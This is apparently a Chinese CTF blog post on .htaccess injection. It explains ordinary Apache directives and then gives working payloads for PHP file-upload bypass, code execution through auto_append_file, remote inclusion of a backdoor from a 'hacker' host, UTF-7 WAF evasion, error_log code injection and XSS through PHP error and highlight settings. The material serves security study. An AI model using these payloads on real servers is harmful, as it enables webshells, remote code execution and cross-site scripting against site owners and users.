htaccess利用总结

htaccess注入总结

0x00 前言


最近在做题时,经常遇到一些文件上传类型的题目,当php文件类型被完全禁止时,常想到的就是上传htaccess注入,这种类型在ctf的题目中较为常见,但是之前对htaccess的利用方式所知甚少,故此找了个时间,对htaccess文件进行深入了解

0x01 何为htaccess文件


htaccess文件,是apache服务器下的伪静态规则文件,根据该目录应用设置的有用文件,允许在运行时覆盖Apache服务器的默认配置,使用该文件,我们可以在运行时轻松启用或禁用任何功能

注:

1..htaccess是完整的文件名,不仅仅是扩展名

2.该文件的作用范围为其所在的目录

3.在Nginx中无法生效(而且可以直接访问进行下载)。

4.在apache中,正常情况下是不可以被访问的,但是可以通过php的include等文件包含函数进行内容访问。

5.当apache服务器配置文件httpd.conf中的

1
2
3
4
<Directory />
Options FollowSymLinks
AllowOverride none
</Directory>

AllowOverride 为none时,.htaccess也是无法生效的

0x02 环境准备


我使用windows的phpstudy进行环境模拟

可能出现的问题:

windows下创建.htaccess文件时,可能会产生请输入文件名的提示,从而无法创建该文件

解决:

创建1.txt,然后用命令行重命名即可

0x03 常见功能


1.访问控制

可以限制用户访问一些关键性的目录或文件,常见写法如下

指定限制文件

1
2
3
4
<Files 1.php>
order allow,deny
deny from all
</Files>

这里限制了用户对文件1.php的访问,此时访问1.php,会出现403禁止访问

若要允许访问,则把deny from all 改成 allow from all

指定文件也可以用正则表达式的方式(~表示启用正则表达式)

1
2
3
<Files  ~ "^.*\.php$">
...
</Files>

注:

1.不加双引号也可以

2.~和表达式之间一定要有一个空格

3.^和$不是必须的

也可以使用通配符来指定文件

1
2
3
<Files *.php>
...
</Files>

指定限制ip

1
2
3
4
5
<Files *.php>
order allow,deny
deny from 127.0.0.1
allow from all
</Files>

此时127.0.0.1被禁止访问

限制对本目录的访问

1
2
order allow,deny
deny from all

与之前类似,只不过去掉了Files标签

2.重定向&错误重定向

普通重定向

1
Redirect /htest/1.php /htest/2.php

这里将1.php重定向为2.php

注意:这里的/指的是网站根目录,不是系统根目录

错误重定向

1
ErrorDocument 404 /htest/error.php

当访问404时,会显示error.php页面

3.设置初始页面

1
DirectoryIndex 1.php

这里将1.php作为初始页面,若像这里一样不写绝对路径,则从当前目录路径开始

4.图片防盗链

当你服务器中的图片的链接,被他人挂在其他网站上时,别人访问他们的网站会耗费你服务器的带宽

这个功能将使你服务器上的图片链接,被挂在其他的网站上,进行访问时会被拒绝

原理主要是利用httpHeader中的Referer来判断你是否是从指定的站点进行访问的

语法较多,而且在做题的时候也不怎么用到,故此不详细说明,想要了解的话推荐

1
https://www.cnblogs.com/sijidou/p/10856450.html

见该文的0x05

5.url重写

把带查询参数的url重写成对搜索引擎友好的url,也称实现伪静态

1
2
RewriteEngine on
RewriteRule ^products/([^/]+)/([^/]+)/([^/]+) product.php?cat=$1&brand=$2&prod=$3

这条规则允许访问者以类似这样的
url products/turntables/technics/sl1210,
来访问product.php?cat=turntables&brand=technics&prod=sl1210.

6.阻止脚本执行

1
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi  Options -ExecCGI 

阻止该目录下,cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi 等类型文件被执行

7.对文件进行密码保护

1
2
3
4
AuthType Basic 
AuthName "restricted area"
AuthUserFile /full/path/to/passwordprotected/.htpasswd
require valid-user

AuthType:采用的认证方式,在这里选择的是一般的Basic,要注意的是,Basic认证方式传输密码过程是不加密的,更安全的 方式是Digest,但Digest认证方式需要mod_auth_digest模块的支持,使用前最好先通过检查一下服务器是否已经开启该模块;

AuthName:记录的认证名称,会显示在认证询问框上,如果存在多个认证,认证名称可以让你更清楚当前认证该输入什么用户名和密码,遗憾的是认证名称 似乎不支持中文;

AuthUserFile:输入存放用户密码的认证文件路径。

0x04 利用方法


1.文件包含

本地包含

1
php_value auto_append_file /etc/hosts

php_value可以覆盖php.ini里的配置,规则为

1
php_value 变量名 变量值

其中这两个配置可以利用

auto_prepend_file #在页面顶部加载文件
auto_append_file #在页面底部加载文件

经过测试,这种方式加载的文件,有点类似html文件,文件内如果有html标签,js脚本或者php脚本,会直接被执行,而不符合这些规则的文本,内容会被直接展示

注意:这里的/指定是系统根目录,不是网站根目录,所以说理论上能实现任意文件读取

远程包含

1
2
php_flag allow_url_include 1
php_value auto_append_file http://hacker/1.txt

allow_url_include是php.ini中的一个配置,打开则允许文件包含支持http,data等协议,从而实现远程包含

这里假设hacker是你的服务器,服务器上放了一个后门文件1.txt,此时会被该目录下的php文件默认包含,也就建立了一个shell

注:

php_value和php_flag的区别

php_value 可以设置某个配置的值为任意值,而php_flag只能设置配置的值为布尔值,理论上来说php_value可以代替php_flag,但是官方说明中,不建议使用php_value来设置布尔值,而是使用php_flag来替代

2.脚本代码执行

1
2
php_value auto_append_file .htaccess
#<?php phpinfo();

之前提到,如果auto_append_file包含的文件存在脚本语言,则会被执行,这里直接包含了上传的.htaccess文件,同时该文件中含有php代码,则最终会被执行

要注意,这里的#不能少,在.htaccess文件中,#被当成注释符,若不加#,则后面的php语句则会被当作.htaccess文件的有效语句,但是其又不符合该文件语法,从而导致报错

绕过后缀名或者文件名限制执行

上传一个1.txt(一个服务器允许的类型即可),内容为

1
<?php phpinfo();?>

.htaccess设置为

1
AddType application/x-httpd-php .txt

或者

1
SetHandler application/x-httpd-php 

或者

1
2
AddHandler php5-script .txt
php_value auto_append_file 1.txt

注意,这第三中直接访问无效,需要访问同目录下任意的php文件,才能执行

不过最常用的倒是第三种,因为很可能上传文件内容存在过滤,需要第三种加上远程包含,若没有很强的过滤,倒不如像刚开始说的那样,将代码放在.htaccess文件里,然后包含.htaccess就好了

3.使用UTF-7执行代码

1
2
3
4
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs?+AD4-

这里将包含的文件以UTF-7执行,一般用于绕过一些waf,比如过滤尖括号之类的

编码转换器

1
http://toolswebtop.com/text/process/encode

4.通过错误消息链接进行XSS

.htaccess设置为

1
2
3
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

然后创建一个含有语法错误的php文件,内容可以像这样

1
2
<?php
include('foo'); #由于foo不存在,故导致报错

然后访问这个php,就可以看到alert(1)的弹窗了

原理:

我们先来了解一下所用到配置的含义

display_errors 当出现关于php的错误时(语法错误,数据库连接错误等),显示报错信息(在当前页面中)

html_errors 产生html标签式的错误信息(具体分析可见0x05中对该配置的解析)

docref_root 设置引导链接的开头的值(具体分析可见0x05中对该配置的解析)

此例中,我们创建了一个php文件,由于foo不存在,故出现包含失败的错误,导致页面出现报错,这里为了便于观察,我将docref_root的值改为INJECTION,以便于观察

可以看到,该值出现在href中,故我们用单引号进行提前闭合,从而构造出xss注入

5.通过phps颜色进行XSS

.htaccess

1
2
3
4
5
6
<Files 1.php>
SetHandler application/x-httpd-php-source
Order Allow,Deny
Allow from all
</Files>
php_value highlight.comment '"><script>alert(1);</script>'

1.php

1
2
3
4
5
<?php
test();
// comment
?>
text

highlight.comment 代码高亮中的注释的颜色

类似的还有

highlight.bg

highlight.default

highlight.html

highlight.keyword

highlight.string

同样的,为了便于观察,我将highlight.comment的值改为INJECTION

可以看到,该值位于页面中的

1
<span style="color: INJECTION">

然后我们就可以构造”>来提前闭合标签,然后进行XSS了

6.通过Highlight_file()颜色进行XSS

index.php:

1
2
3
<?php
highlight_file(__FILE__);
// comment

.htaccess:

1
php_value highlight.comment '"><script>alert(1);</script>'

和上一个差不多,不解释了

7.通过error_log和include_path注入

index.php:

1
<?php include('foo');

.htaccess:

1
2
php_value error_log /var/www/html/flag.php
php_value include_path "<?php phpinfo();"

这里error_log指定了报错日志将存入网站根目录下的flag.php中,从而使其可以直接访问,include_path设置了php include的起始路径,index.php include了一个不存在的文件,导致报错显示如下

1
Failed opening 'foo' for inclusion (include_path='<?php phpinfo();?>') 

由于报错文件中会显示出我们设置的include_path,如果我们将其设置为php代码,而且flag.php也会被当作php文件执行,那么我们是否就可以运行我们自己的代码了呢,经过实验,发现行不通

可见这里已经被html转义了,此方案失败

似乎到这里就为止了,但是又想了想,html字符会被转义,如果不用html字符呢?

于是,我们尝试改为UTF-7编码来绕过html字符转义

1
2
3
4
php_value error_log /var/www/html/flag.php
php_value include_path "+ADw?php phpinfo()+ADs?+AD4-"
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

让我们来访问下flag.php,成功!

zend.multibyte 设置是否使用多字节编码

zend.script_encoding 设置脚本使用的编码

8.源代码公开

设置.htaccess为

1
php_flag engine 0

则该目录下所有php文件被访问时,将会显示出源代码,而不会执行

0x05 php.ini配置解析


php配置优先级:ini_set > php-fpm.conf > php.ini

allow_url_fopen

当这个开启时,url会被允许作为文件处理,而关闭的时候,想要将url作为文件处理就要利用到php的伪协议。默认是开启的

allow_url_include

当这个开启时,允许php include或者require支持http、ftp、data等协议,实现远程包含,默认是关闭的

display_errors

显示报错信息(在当前页面中)

html_errors

开启时,产生html标签式的错误信息,错误信息中带有超链接(a标签),它将引导用户前往描述该错误或者导致该错误发生的函数的参考信息页面,引导功能需要docref_root和docref_ext的配合

这里我给出开和关的对比图,大家可以自行体会一下

关闭时

开启时

开启并结合docref_root时

.htaccess内容为

1
2
3
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "INJECTION"

报错信息为

docref_root&docref_ext

我们先来看一下官方说明


新的错误信息格式包含了对应的参考页面,该页面对错误进行具体描述,或者描述了导致该错误发生的函数。为了提供手册的页面,你可以在PHP官方站点下载对应语言的手册,并在ini中设置网址到本地对应的地址。如果你的本地手册拷贝可以使用*”/manual/“*访问,你就可以简单的设置 **docref_root=/manual/**。另外你还需要设置 docref_ext 匹配你本地文件的后缀名 **docref_ext=.html**。当然也可以设置一个外部的参考地址。例如你可以设置 docref_root=http://manual/en/ 或者 docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon &url=http%3A%2F%2Fwww.php.net%2F"

通常需要在 docref_root 后面以 *”/“*结尾, 但是在以上的第二种示例情况中不必这么设置。


简单来说,该配置的原本目的,就是在开发过程中,遇到报错时,可以通过该设置,将错误链接到php手册中对应位置,省去了查询的时间,增加开发效率

那么docref_root和docref_ext的值将出现在哪里呢?我尝试将root的值设置为INJECTION,ext的值设置为.lalala以便于观察其位置

如图,可以看到,root的值将出现在引导超链接的头部,而ext的值出现在尾部,一般来说,我们会设置/manual/或者相关的http链接,将错误引导到php手册中的相关部分,但是,也可以利用其特质,在配置值中加入单引号,提前闭合这个href,然后使用js进行XSS攻击(例子见0x04的“通过错误消息链接进行XSS”)

注:官方手册中提到docref_ext的值必须以 “.” 开头.但是我进行测试发现,如果不以”.“开头也不会报错,大概指的是要实现引导功能的时候才必须以“.”开头把

error_log

指定报错日志存放位置,例如

1
error_log /tmp/flag.php

这样出现的报错信息就会存入这个文件中

(文件无需事先创建,会自动创建)

代码高亮颜色配置

highlight.comment

highlight.bg

highlight.default

highlight.html

highlight.keyword

highlight.string

设置之后,在代码高亮显示时,会出现

1
<span style="color: 颜色值">

对相关代码进行高亮处理

存在XSS注入可能,实例参考0x04的”通过php颜色进行XSS“

zend.multibyte

开启时,将使用多字节编码,若使用的是utf-8则无需开启,自动使用

zend.script_encoding

设置脚本使用的编码

engine

是否启用php解析引擎,关闭时,访问php文件将不被执行,而是直接显示出源码

0xff 参考


https://www.cnblogs.com/sijidou/p/10856450.html

https://www.cnblogs.com/kenshinobiy/p/4463378.html

https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet

https://www.cnblogs.com/kenshinobiy/p/4463378.html

https://www.jb51.net/article/33608.htm


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!